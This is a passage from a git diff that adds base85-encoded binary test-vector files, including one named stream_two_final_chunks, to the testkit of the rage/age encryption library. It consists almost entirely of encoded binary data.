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 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_two_final_chunks b/lib/rage/age/tests/testdata/testkit/stream_two_final_chunks new file mode 100644 index 0000000000000000000000000000000000000000..ac2e7a79a73aa41ce2f30921be0ac7ec01214be9 GIT binary patch literal 65982 zcmV(%K;pk;cyMK7bUGk#VR>wCVPqg?VQFl2a%Bo|VR>wCVPrZWWMwjDGBq|ZHZ)-{ zVP-cuH#amlV=`hnH#IOdWMeR5Ic76tW-w%BG-fn7Ib~sEH#0F~GBaUiIb&ftV`DQh z3TA0+Wgu&1c{(6BVPQ35WMN}4Wj0}EWo2YDWMnX5H)UgEVl*;gW;8SkX=G(?bZK;X zIv_zuMJ-cBLsCUlElWjNEipw$R9aR>MpiN~I5Ra)S6NmzGB+?xSXov}GFD4YSTapb zL`zp$OH55iQZzVKL04EbFi|p4GE7Y{3JPIoWi4fHV{&OHoB)Mnq3TV+wF& zT5&5>Fm^aMMKDx2QEgXkPG(bXV=_5-N?LkUGGuTzdNC_>HE&6ANeV43Eg(WmF-uKj zXEaV(WpH;*XjN=kQAJd7Y*2YJFgaIuH&%HxVoPI7O>s(kK?=w(aqEHtn|BjqndF7& zdGtJ@RBh4yz$@uauf$9cVz9W>xV>d+@IB{08&ST!8VS*%L zFFMQU1QcT`I3I5P=+r@ej)uyKcr?o8c@k8lLG}S}Ha9TTLdRqBh+{N~L#Fm8(mUF| zEt#^2d}8h3%fPol%H_b-Xer1o-PZ{Ew@5ykCwhg7`x>BTvJR5DQV+QdDr0c(&kae0#aVXkiZC~eUrHj z8_EW8z9e0@tI~qDl<{)t*G~X=MGc&e-+Ly+`ei^wNE{W*TX2scPqc=*giIxW2Dc4Y z+-@9wgTauN_Q}ouuG9z~pJ0Go04_OAh}@@E?aW7!VR6K8HkfW#K9`Kx8OF-mhX7Fs zYdf5)T?oA*V7K`93A`VrfRf5OM4P6sIje~?Q5biPl=q;HjshM6yt4(O>FP(e2wOh{ zaAtjOgM4Z$vE1_)Tk?^h?0U|c{=PdUzE@j^;?Ma-8gz2F12)~2HNZdx#BN2>@DsL#vs;s6ftZB&jt&$7YB{-d4uH{umtHbw_+nyWuaBf zKec`&Qd`oZFjvw;m=fym(kTy(UUepd0;y)_f{;jgtS7g1x7a`fjCbDT2x;n9A0nYX zh~0adIuB`eRG6J`mf(a}<`5Vun0rV(f}z5f@I>CsjXEGB=RnDa@<0WzXrFKvXt@2c zjE0V01~CmFy>bT;Q$*0^8Kp%KXx&CUK_V;R9ZHouUQHLp7wr%ddvKFyp! z(9XkT)5hFlOEYzuom!jtO8%bG>421*8C6-{BWF);q=Em!z#*(v>;u6P$s{)8kH;f zTC}M>P+$4nAKgX#vzq*bkl)a!oEwbjlf@7~0muYX9Kx;m1ZU`faMQM`zdYa0c+Ew} zm#t*c%saVX2Z#u8&L5G<;@w#{Q(&Jg8k_$a($6vYT6wn}AYlK4-AXho9Y$xS=9d%b zCYvRh7Z;MO$I;_2BQ^U`%^tuAEj?)Pxk=2kk=8*|(L|TmF+Zar+gm6Dp*6+zQ1F2_I>0}7h zyF{k^WvW)Xq+ttT9IEF>%RI69?x{ERWY^{ndjAhj4)PD+ZYHhR`8u#K@-`)Pb4F)0 z0*L^zje-+j{_vp|G?N#gm#C0zTRyz72ouKmv_51VJ8ulgI+s;42Cq{C*BPmFe2zZH#Dhf9Jh_Hxjzop2CCz zyJZ-az(rHp!wkv2&uqI-4unaVh-*fRifE3dB>>>Zl3q5~cKPxwgXns_-@F?H;HabM z*5Wk?w$|P5xnB|1jFVoCFW_GxqlcD%M zZ=rg6oTG5(5HK)}P;+%QXJ)h+J*LR-HGT_=zNy>~10g4@s^EQx-@i)2AP|6#*i4dK zAjpD|AJhOSW*gF$;4Nf}&lYWVh^4(~IHM~3F+?=Mf+mdFLM5gds3A4%}aZ)y%LC59{^5Ek5`} z_OXU}3g0IQ8HF=2RatV|8H;L*ICwNc=h(5kNVy8k`0!S0oNnceDWJcChmrtXNg*pe zCz2$-`Yy$#U)WG`i5CS3Pf$vz?_wE|W7#sfWZ0qt zsf0-X!D;}6cWbg+RJZVi?h?u`SzEF(Rnk3NH_+7 zjp*pJNJW{W#(IX+cH=)P$@~j0`J8dmKjitUHWl;SSkh}f$669_E4~6sXvvDe(*|wk zR8Uzusn~9vvrIGW&&D#(t;yvy_z1RB_@g32FzGK=)}}50rMeVQ z_VLRL!y(RI(H@+90Fifr{Zyp2L$QT8?(XN6<}(*z_kuA;R%E*?fKu~e7cEj{*gA7i z?OWALPg6yCr41`0Iw<3}gR)Ao^cv}@@#li9#f|Zcw=0mz*(=C)ud0>8e3=wZRz zu6b#fXhZ|SP8{a%QL6BQ`o!(LdAMvaNn%5S9b6-*&atz55;4mbZ;XcZmOMb$*2;Iv z+)b)lB69jd#_$fW8=?DJg&!~^^A}jzLr z+yG{%+yzUc3djCkP*34`1|heJUxC(dm4d5J#%Puf^?Ama1j-XRz67QNBI-e_-@)$L z65kcz`B3GCb{s|5`zO9bcD8$c52&U&=x4<+$#kf5!wAj_c)T&$=^@z#myxud-rQZ9 z7;4zrc~8?;kR*yb9Ds+|tah9WZ}AYZv4m!!NY`NptvALJCC#Mb!J<#+Ve!Y3@RqG3 z|L4mIfUvs$YF^Mua2L>97Z^T5(0>urD=s8;x6yX|#5l~-!Rd;{S{mE8Rx92#EWyrS zqkzUOR>9Q8_Y$#g9`SKz!l_~idrK~X`3Kj{F0zNpbq!3|@!o+*{F!_a2RGS!cz|z* zkX^`?Qp>^%GZu$w_`*|`>v-Xv*TtxOXAV!UF_b^vyJ`Nc^R*~3<>HT?hT`+`>A&s~ z2txf^CBecJllX=jLy{Oe{5a!|J?hudpS1P3#yAs*(x(GbQi4#~(Mk?MmbZY^vof&P zrJv_zre-eK7QQ(C+MOTF`qbZWtDR_rPzLNWk=?X!1LG)WmG$K zX&c}<_A)k32;*G8I-!YOVjb#wN0jAm2;mo|od^(NrL!z`sA5_-aP;}(J@PkDj`9Hs zmvn6EpwGE3)*10RYE;x*2-$@lx5LBv-u62Nsw+SyA#On`rkUr1(lBva<)xB^H!^`A z;6B3jNkkerAkipWo(ug%F~WN>jIR47ia-?bfJ*YYrtVB(&(#cu%OIw}i;~8Ixy&tw z$APZ*@XxS(yoA0zXcoA4K~fo<@Yn=ys)M!N%w^Wl=A?ZsZ)bad6?4TGF8tDxWu>^V zr)I4tn`<-BS{;k!18F8)*+0MTmAQ>^U33sPnkK}m?g6kBZ5B1R(_>s1+#GhYdltOU z$7mG5r#B&tu&nZ7Cd@-AsL}y@-%%MXyfQ9e8FNnwxo2X%w}fISagSG3pDGH6>UbQ1 zq)=J;p%%FMX|;)ijRrb5W-$#R6vja{^lS)ot#uY%9OC#FG0#Y*wuel-t(~~Fe4b%Q zc~PZ&``|r`?H`Xj8Df*mqAm8_NR<#_j(bLDz-I%C_xe36l44!z$HcpM2 zoe;HkR{5-+EZ_ORBr!Vl-AN- zg}gl3`D~q_$Jr6l@Mi`Eq|qP2%$l@*7Fk2)p^L!=iBP&S9|8C36yD*B%~~>;5GPxPR0W4l?PR2F%%@r zmP2m<#yE8_@|5?VSV8mdMAbA$4wc2(EA9KWfP_{-S5O(we`l`+X^-fuFLsQcH*Qtjy+N5GE*9cs6b6ToN zsD-!9g`UpS_NKI9-*hrXxil zUMB&3#M$OmDdr!qQ=qi zKySVtxjno#ImI@EV2gi-sILY&WKuD_MXgv(I6%Z-3b2iHw3qAfcjyjqu-g|thtC#r z0U3j=fbk)LOC~T9A?U(!SDqfwhC5miDeIW#mju|2jTq=!bBo#`<@9T%Y1i5IJg-AZ z?(JEqdoV!DhiZirT?Hmu^E_d@W5-7lB@B=Zkg#T;N1qHV6=K_?f9m=mr40^{NB|vy zLO`q3BA_k@8*_uu&o|}YK$|phZe$$9ss_&JInhh1m__Q=@MAlf>bqhiX*v8+-}lTZ z+*(o48)I78UdZoC$?Fl61TUUVCBKweFjn{DY&Vk{nY^TIz8-d3#(S7?!+`20_!YPi zBq)DJ4nn{PR_e6@ieARz^0~C*Lz(3bpaf2)zKL!(tP68@XCyN_%Bs9;dguENG!Xrc z(kAv4j6eVKAcajTHcmvzILooxUlAKzb1jW^3W!)+(ISWg;LAnJq|>wg+ zEXbzy&q{#y%8BsW7}cU9w-Dg*T2-?gKv9!r+1%q9(~_L}pVQ(<)&t9$BxO`pRZqjE zN+3}_PF$X_atF5rwp8Ou?2AfEWsIBH)w{cr-+ETdh;MI_XMAZq_w~X7@zERgHC)J~ z=?4E;(Ya%-*m1n3k0sSzVeK0TmXxP?Y)9#u<%ZV@)%hocGunO|xvEfGrjyS0FlkEa z`*>7T6JpwgVC&2I!}3f7<_}e6vf|z4^9%+z;0y76t%RbZSlTAF3Ox`8`Pv=7vKw!G zCE-``q|^xn3O5Wn_ZTiOjIXYrie-59i;f;rNarkinF=P|5zKVxVoV#I?xpdV`|fCq zATXY*#pFHF3JHf3xm9xI=Q56ZR{5MoTL9G*XSdbg((m9eAn7cGd0g?(GOa(-hQhV- zoeH#;w+cda;9`LA{1L$|n^+$KRsEJ_6APNdB4gZ67h&@NAs~#@61hUtHhk_zh7*E) z-okx_uN+5&63HaM!dTuyi+Doga)HaHtehQ>tN2YZ-^LOKmB zez8=*8(M^LjsO_jqn5=cX^#f~qHWXO4Hwb<-X*uSV$s^JiYJqjApiG?yJdz=hQWFH znO8A|jD6hzV{{lY?#d?Ii{hJE_)pK2RT$JNek3(u;g+{zH%;zXh@ zsutpsO7|P7(yTSIM*l)u3G~gp4Fa9YoT0`M`kQ|kF8Q&qlI(TG>;Sp!fIhsIz{^ignDj?RX9#GKh$N)YJjse$A&tx@mBE0lrDLS& zpa!Jj?nCP)Rr8}~5*M;Aj}NUccmPOhJdxKQks^~MJQoD)uJHOUFbisuN&*5olXr}@ zP($~&+r>Ue>WIoNsrMP>BaHc0y_X}I^zw=dja1mdu1wUP2B!aOd^zOo753)WKg7$7 z)4wy=HCqyW-Eo1Q!J zH(TI$B~FHGy!_=5nZk}cuC(^~AXoTkfeMi+94=~(#E~Yr;nfBu3o`FC0C1fY9sHoH zZ=<8mIsVIUqHGUJ4=KpOS@Z#pYg$7ZopP>8W0_AKD0|KslhmBq2u8|6ERLm=uo1_j zPt-78vX%?Y$MtNGj|CrA zfmI%>Kd~X4fS~uI@S#g_7m@{|WoA_!82~UZEX*l*!BDke5a!Fkz-|Y2cPRJ(8`TyckPQ@L*Pv~#cV;- z&}n9TTC#2;&54iTVn!kGtJ6~x_7RS9r35Mq&an76~!!};mQ+pk^d69 zEd;H&F}a=i(J&Z3%M_jMxZ6^JFQr{g{F-K0azJG%(6Dy|`is#J$xR|35&*_qkqHy3 z#w_HfzXSQi9o00tM*Z33C^vViQ|K);WA6gr%dP`H6|QIAtuPyFXJ%>{pd<3=3S2Oe zAnICkVZ&Y@-$V3Cq&d$!xE@>++F;7RnZE7yPHMR$swpR=|H?S6Y8Vx|NI(a|YbEY| z^6kHDFrpw<|2~e*!#{P1r-C4Txj4RWWA3pV#Nj-jCN>kHBq#SSvG%@oE2?}+#UQYV z!Y7)wlMst@p9Vh@G&g;BL1lG^RMG#4lAL{tI9YxXp3qqZ1+-R|v@NxW1_8zyVLdO( zrupzAn9bksM#foZWug~mtdC-m%Rx*s%OmEjiy3OHWjskPRw7x0`d%6?oxn-p*gEK;U^%fj1ggC{UU;4(cJa3CoCV0q@9Mq) zT-@~~5j4_`9_aqAGrX9E(7ZrNhzOUB!0v=RA;N41AjfS(32(`ha*>X*3GcQ@@^$5` zCXvoWKrDgC4U*^0*7X}Z@-4Wu-asHEi^;59IzS#(k|JOuOWMUB6+u3N&udi*YEYNX zIU=jjXTNh<*P#cfcQ`5KGpSByB&zb)HqXP$;07-g%3IJGQ;a5Zk>i%(2YZx~1xDF_H_J}wn) zWppg*zf>4BYgJQAtLExuJ@dgMziAZR_0U>C;utaJ=4gHV2=-DGC@VXU#8u1)vrdd# zP$#1M%OcT5Ib0_CmEY1z!UD`JYv#EP@H@9G`m6@7KW)@0VPOncM6WU9Umov>0JUNB zlQZ1&VbuU2OU170NUTXmY;Jp^iF!U7=2-q0Iyp2f3VA}ZO!vI^p~g&=%YUE2r6XBoLEd zrqcg)hwge&Q2qj>Jg4(oM1Uz4xknTvP@&uWs=7hI*>&8 zi9#9WY%iL#9L!n&76JJC5DW!r7;3jXmLC%<0PqiDCwYlK$l|Ei*=~mIhm=SG@A{lI@QAPY0(rGMT^;kKurNKuFh&5b znhp={V?nCIO|Gf#7im^kG6Q6;02+bqz5)6DXLD&N)CD-+!@7(CLumg~Eq|J92U7}S zH~>j7otQDD2Aw{*0Hs$7GVA-IY^kMNCv-%sVh!n_1klgsfV!#s{xk6w!=N^^VCO*%|miHzZ;$@ zQmBGfdQB!Nk~MM4=DU*qQ|_|Em*;pTM?1xlX6p4 z{w(_!dli#dbIc=!XN1Jc;sMIGAAYyp3P>xq-&8hVn^7bu)N4u}tl?z2NB|NW?Zu!l za!cJi&5mc^pyX1j1K^lE{}_!_K2jn;hB)_P-QtF0HeT^Q0)SiLL-RbD7eq~t?a{6k zOgZ-M7xEaGRbjd6wQAK5Jaq0QE>#_Ice99-rfDGjBfbz&H{-HF_FNDe~ z^rB*eDRozAd`#~v@kr^#M~<~AMZWvl$}{!=dA{TTZ&jnD6L&g#{P#trOvVt8=d1G!^Z@ zbdv3=SaGDR!8QLiU>zlr4C7z9s)G(eLEY`-8iApo@w;>WEv~viJKQ;=amCh?UrSU) z_#ucRR+Rh^nr7TYq=)8iWn_5lFct7(8~8{eo-XKEn~=mK*Q%?y;+0e$=e^@lJFThu z`+)jIE6d%{1N+^XoX+`dJ|mWLRLcbp9tm}8;273<%hjjZVrXh?d!!LkBm z`^wO~XL zgXJDsr$shX+%w1?Y!V)o0KTj6v->-3b&dTC23*`*cDwJ;oxIC8xI}wUOWVupx0owK z1lqz#*HCg{ZFI@F1__FhI@%jKMI{mecIz_@sLVL^qK_gObuzA?7*U|0j_?6K2}^1S zX9$||$~ zpaLRQfjU<*s)Dnb(>J)Uv1xwlN|a}ir! zjHN^wc8U`h=xD{D8VwTt8AX$%*XA=WyOND?ul71S0D+Y@wgHK} z2PN2lhLd&N`9vUhN153r3PTtO3eZdK+mO(np`fjr za7E67#p35+vg6!Eq1K$_d~bP(E4 z`~8v`eR#mG=3-4N{Lnup_ zkB?(+{p%@2o(IBUt^0Dw?)hdl1RzuBI->Q584X^z_qsDZ95y~-Sz?M0l-Q29MBlP^ zWoQyBV8)wU?4A{24A-)i5v@Eg)9uXhBElW)cwC&*E#$6HyTPPYtRJsm@!|C_){dk* zgR>PBU&Q%d2>r1fjPyM&t)|5x;_Vj-A$LuF?AujWR>wg)W1V)K>xkE#d$i7gsnm$y z30yms5sCj!%%OiBo>JY13y@f}ZO$|K&Lx-0vF9z^zQQcFa zf2KRpt1AZlutIcp6bY0w!62Tv9e@S=?CBsyoN7J|)kLtXOoCBKAl=7@Imi^TZSRqH z;&yXHDFgpEqPF;|Fgde_kEu`d888Qlj0c#NyHdu6mkVdv%Vg1kMY^doyhd zRUrEaNNqBC1B4u|@mapG;V>e=a#BtbZd17{hYxb-CkrgH_#15T`XE~o#=Q-6Ar-M@Eds5+n+5wFlMH%O0xexRz8d5ZX^NRjW$H^jiPwWMn zANEo%UcLgw*@-zDss3?q%;&jq|RN*zunwr za}3oXbM5zDF20~h*W6qcf^J4_6lh3t<-{O!L%mhbFeQitR_k^!y0U`)HqWq7dDkW= z$=CE($NkUDA~w7~=W3UFktdhkcBx1)QCa>NN949rD;HOJbb&#(`O+mkSVFzJE}aV}Bak@mz|wu6}oROQKzu;mQYJG%cHv!O9ViC`ll| zLZK8*$tIXvU_fmE{>NZcY#vvn62;rbttEac`zYqPW9fMrfFP510PFrrT(WU+|5Css zERStvpk;H{f!y@kEQj64ot>v{o z!zc@UafwAubDXG`gK%n#{|4?*5B;#oIq8rgCa$Il;b=s&_YZ4b0$q>rByH z(LjR>D9tH&Z#X0wFx@c;s30j zn_{npBCv0J$bR(Wqy6v9R?($}1F@z<6F=bL%e1E)Z)7mvdI7HF-8=_MR$vnJ&Z6R7hQ^j`)pa-N6l)|A(ekU93+uWh_ z1v`vFQuB*&gnKNt!EaDjpjuVMd6qGN*&xw;xK^*V?h?s6)DUy`BYkz&KpDx8BDg zXmyN>kl8Fh1Z|46!Ih`mC@W_FFO5lRo}VlY_Ee}g=I<2kEaRrxXMXd_wInKl!uN*0 ztchjJjp2`nGGr~{+1nkfq4Ok_393(d`KU<;AfuaAUWc|{0D`9n%vDY~Uk40_UjVGz zF1{E~8pgt`AWC-H{tru5_r?P}NrsC}YaTrC+CCL{-zBHKwbP&4>5x!WxguISNCtO@ z9ROB1UJ_;Hk3a-xUpeHw9cl6;9|{Vx8RW7kP`2KY(UH#A+YIBNpKuNk>0Pi&`{(b+ za1C0BnC4;rkB$p{7a6K(U2W#yp$5LOP@;O!mIiCSLeFbE=8T2Y5s$l(gzc4(a(rV0tLk(?7gMHl zw=ddlGpsA1f`9or^Dxon@ZL${l&Tn~{g|4lO8N9I8z%|@;DyJ1K9G!eI@FzQbTmEFh#hzZ~Gu@wNgh$ala4_K&iZ;P zA3Bi7;g=8n%YqC)O0Er$ zbMRCDde7rs8<)`p1BEBhGXKLDd>^Q36$k>-m>-J`BaJCctl|ttF`rsN*)ua*44VC@ zG6iUCl0ovjW={L?xj-dlJQd`Y#u29vS87UBIVlIrUbA)LmH-I}1hlk;fWoQqp_0DXnB)bjlUMJzU;p*xS-*mUve1#*~v?Au_& z$G*)B8ms?xaaN+N>5HTG?CEH98>ObkF4O3rAeu{x#5cMv{(PdgL`y1&G(02&}&t8B*B1~~Kk>bo!h z40|m_g1<^odecIzsMRC5W*T+~>0Lq{oBU(r*Ln=61x3DI8;EA^_SyKU&D>E=JelrQ zvfrCf&UZz=h6OKf9t|XWl7oCe&7b5ZRcKDAmsNaG3VZyj672oI6-0Gp(n%il+<$!j zU2hK8La)$v&C3u+F^T!#aH-$=Bsay7eKh9G6Q~F~a&tF6y`Pe_aD&&UrR&c6#S|mh zZPi*<<0^%=_0nt45S&5(s`E5P4jh;jKbLB8M%Gw8dGzrw?6lgOybN)@R+Acl2Qv=g zl|F&x)Zkk^zztOVw5_&ma8I|Mr!T-&3H%0gj9ox8=A%JpL3cw;Tlc2KGF2ekl>}<# z797-9M*p1Adk8T-TrlqI{o5w~_$o-YHycj@r=D{XNRmJpXt@-t5Fbh@g<6^;juK;n1cy6U#?EO8zPgpn zJA8#e-0H#+Z@3r?KnakDAk7SjC;y$61xjCKG^M8F z8?725QuGbnxEIauH^jr=&x%CIU&j2Tv|gd!@SC67pw@oA{N5$hnIZOU1GW6!xcclT z_3z!vYMV6F1_yCUQlNpR$lfma3Mg8^Mk!i&O)7-nC+R@;6MPu?>~I#O21!MAcjFV% z#DCRjbLc)Mp(p?OyN^+snU`)~MS^(&wY*zYhk3~+Q%8B$Gu}QJZCwE6^_jjr#^jyI zJ0a`BL9XYPAzb+jAM7fPPZGtDP@bdyI+H40FsI^qv~3tK@i^0kxAUOfKHm5N29>bq6tCQSjebwCg76>hqc&+?h1-5B8?c2Z) zskR$NO175(k1Jv2q;Y1~*WOJo>hCNg2Q}x(zr!H9$ditai=7A05KZlN%eZRi{SdC7 z>(c;XQNE0I$NdE;<~z}Z-10o8vyOQ7p{^-_%J}EyX+M!&vU3POXSHtku^v@iXry+i zL%<}#7kBVfc2D7*8>bA(o>t`{L3VB6`N4L0LtiO8^LvwomWM&=Ce=9yWpDXU70zFb zaT#w9H6>NWfIjkH7MMv>W%C?!N{Dqr8LUhm0+7l`_a}Kz6xju{`Wd$Ju*X$^8CBB2 z)3)7x8#Ios_)S(1$9gmF#RPQs2(sIbrC?LcTJ%9aH|N!&-Z`ptVH}CG5f7gNaGgj2 z?T!-3u>ZE|p{z#?+As%E6ns4jj(&h+|9oJ-bV zWotgJreyIASU#L-7%cxi)7RymtV|zK!V;g>7%<;LYvy>INJgz^?2Q}8W3*GK#3hy5 zsf_h+_-g44kM&@+_c2kcj&8%ROcir-(A}E7DDPoX7Ukl5Ia%I>YnSU1(AVUgW??aX 